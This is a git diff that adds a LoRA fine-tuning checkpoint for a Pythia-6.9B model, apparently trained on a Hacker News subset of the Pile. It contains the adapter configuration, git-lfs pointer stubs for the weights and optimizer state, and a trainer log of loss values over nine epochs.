a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..74df26d223f8c27394099352c10fda89c6aafd72 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:feffdc65a4dde52486c443f430d10eb3c0dd841a1e206ac3abab26b65f14bf9d +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..f4e7e1bf78c24b5b468d2b3ca792acae4eb9ada2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:90d7740048d830e42f7ccea2aee71df5b05a21a376d9f4ad1194164022301cab +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..bb61823d0d78956427b74dd1a3fc741ba1b2381f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c44717b587bf877ea1a37c7f5747a93e45e34ce231c845a31a9b8a042ee22593 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..6f069e8ad5743a7071d53989d6edf25a382b7133 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d33603c9602f50d32bd619f686fa4097b405a474d15f526ce09de1176943edee +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..b47b9c181495999760ce22e49eadae987cbeec13 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/trainer_state.json @@ -0,0 +1,1038 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 9.0, + "eval_steps": 10, + "global_step": 675, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 3.681978225708008, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.6481, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 2.9356720447540283, + "eval_runtime": 44.0134, + "eval_samples_per_second": 22.72, + "eval_steps_per_second": 2.84, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8014676570892334, + "learning_rate": 8.888888888888888e-06, + "loss": 1.605, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9312660694122314, + "eval_runtime": 43.9235, + "eval_samples_per_second": 22.767, + "eval_steps_per_second": 2.846, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 3.619027614593506, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5216, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 2.970654249191284, + "eval_runtime": 44.0834, + "eval_samples_per_second": 22.684, + "eval_steps_per_second": 2.836, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 3.851361036300659, + "learning_rate": 6.51851851851852e-06, + "loss": 1.5173, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 2.986992597579956, + "eval_runtime": 43.9897, + "eval_samples_per_second": 22.733, + "eval_steps_per_second": 2.842, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 6.171919345855713, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5553, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 2.981487512588501, + "eval_runtime": 43.8155, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 630 + }, + { + "epoch": 8.533333333333333, + "grad_norm": 3.86953067779541, + "learning_rate": 4.1481481481481485e-06, + "loss": 1.5459, + "step": 640 + }, + { + "epoch": 8.533333333333333, + "eval_loss": 2.9791789054870605, + "eval_runtime": 43.8107, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 640 + }, + { + "epoch": 8.666666666666666, + "grad_norm": 3.8861212730407715, + "learning_rate": 2.962962962962963e-06, + "loss": 1.5449, + "step": 650 + }, + { + "epoch": 8.666666666666666, + "eval_loss": 2.9787235260009766, + "eval_runtime": 43.8368, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 650 + }, + { + "epoch": 8.8, + "grad_norm": 3.9185147285461426, + "learning_rate": 1.777777777777778e-06, + "loss": 1.5618, + "step": 660 + }, + { + "epoch": 8.8, + "eval_loss": 2.9785189628601074, + "eval_runtime": 43.9369, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 660 + }, + { + "epoch": 8.933333333333334, + "grad_norm": 3.92482852935791, + "learning_rate": 5.925925925925927e-07, + "loss": 1.5768, + "step": 670 + }, + { + "epoch": 8.933333333333334, + "eval_loss": 2.9794795513153076, + "eval_runtime": 44.0897, + "eval_samples_per_second": 22.681, + "eval_steps_per_second": 2.835, + "step": 670 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": true + }, + "attributes": {} + } + }, + "total_flos": 1.10605985906688e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-70/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ 